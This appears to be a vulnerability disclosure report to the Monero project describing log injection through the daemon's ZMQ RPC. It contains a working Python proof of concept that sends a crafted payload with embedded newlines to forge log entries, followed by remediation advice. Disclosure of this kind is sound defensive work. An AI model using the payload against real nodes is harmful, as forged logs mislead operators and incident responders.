Monero · Report #3621606
ZMQ RPC Log Injection and Untrusted Payload Persistence
How it was found
Date: 2026-03-22 Reporter: redlobsterzzz Wallet Address: 8ALXGo7D2qkdHMhe1kq2uC337VFQCV1DvY31DaTRKqPg2HbryxWtSSgYCF7HHkjGQShXU8KVgaxg2JZ9z5GVqmMbQ96ULnL Project: Monero CLI daemon
Summary:
The ZMQ RPC request path logs untrusted request content before semantic validation. A remote party with access to the ZMQ endpoint can inject newline and control-character content into daemon logs, enabling log forging and persistence of attacker-controlled text.
Releases Affected:
- Introduced in commit 77986023c3 ("json serialization for rpc-relevant monero types"), which added raw request logging in src/rpc/daemon_handler.cpp.
- First released in v0.12.0.0 (first tag containing 77986023c3).
- Affected release tags (verified by tag containment):
- v0.12.0.0 through v0.12.4.0
- v0.13.0.2 through v0.13.0.4 (including RC tags containing the same commit)
- v0.14.0.0 through v0.14.1.2
- v0.15.0.0 through v0.15.0.5
- v0.16.0.0 through v0.16.0.3
- v0.17.0.0 through v0.17.3.2
- v0.18.0.0 through v0.18.4.6
- master as of 2026-03-22
- Operating systems: all supported monerod platforms (Linux, Windows, macOS), because the affected RPC/logging code path is shared C++ daemon code.
Steps To Reproduce:
-
Run monerod with ZMQ RPC reachable from the test host and with logging enabled for request traces.
-
Execute the PoC:
python poc_zmq_log_injection.py --target 127.0.0.1:18082 -
Inspect daemon logs and search for ATTACKER_MARKER_BEGIN, ATTACKER_MARKER_END, and the injected forged-looking line.
Inline PoC used:
#!/usr/bin/env python3
"""
PoC: ZMQ RPC request-body log injection / payload logging in monerod.
Authorized testing only.
Usage:
python poc_zmq_log_injection.py --target 127.0.0.1:18082
"""
import argparse
import sys
try:
import zmq
except ImportError:
print("[!] Missing dependency: pyzmq")
print(" Install with: pip install pyzmq")
sys.exit(1)
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="host:port of ZMQ RPC, e.g. 127.0.0.1:18082")
ap.add_argument("--timeout-ms", type=int, default=5000)
args = ap.parse_args()
endpoint = f"tcp://{args.target}"
payload = (
'{"jsonrpc":"2.0","id":1,"method":"get_info","params":{"note":"ATTACKER_MARKER_BEGIN\\n'
'FORGED_LOG_LINE: authentication succeeded for admin\\n'
'ATTACKER_MARKER_END"}}'
)
print(f"[*] Connecting to {endpoint}")
print("[*] Sending crafted payload with newline markers")
ctx = zmq.Context()
sock = ctx.socket(zmq.REQ)
sock.setsockopt(zmq.RCVTIMEO, args.timeout_ms)
sock.setsockopt(zmq.SNDTIMEO, args.timeout_ms)
try:
sock.connect(endpoint)
sock.send_string(payload)
reply = sock.recv_string()
print("[+] Server response received:")
print(reply)
except zmq.error.Again:
print("[!] Timeout waiting for response")
return 2
finally:
sock.close(0)
ctx.term()
print("\n[*] Next step: inspect daemon log for ATTACKER_MARKER strings and injected formatting")
return 0
if __name__ == "__main__":
sys.exit(main())
Supporting Material/References:
- Affected code paths: src/rpc/zmq_server.cpp, src/rpc/daemon_handler.cpp.
- Introduction point: commit 77986023c3 in src/rpc/daemon_handler.cpp (
MDEBUG("Handling RPC request: " << request);). - Verification markers: ATTACKER_MARKER_BEGIN and ATTACKER_MARKER_END should appear in daemon logs along with forged-looking payload line text.
- Suggested remediation:
- Avoid logging raw untrusted request bodies by default.
- Log metadata instead (method, request ID, size, status).
- Escape or sanitize control characters before writing to logs.
- Gate body logging behind explicit debug-only controls.
AI Usage Disclosure
AI assistance was used for initial drafting and analysis. Final finding details, impacted paths, and PoC applicability were manually validated.
Impact
- Log integrity compromise: attacker-supplied delimiters can forge additional log lines and alter analyst interpretation.
- Detection and triage degradation: SIEM pipelines and alert logic can ingest attacker-controlled log fragments as trusted events.
- Incident response friction: investigators can be misled by fabricated entries during root-cause and timeline analysis.
- Exposure amplification in managed deployments: risk increases when ZMQ RPC is network-reachable and verbose logging is enabled.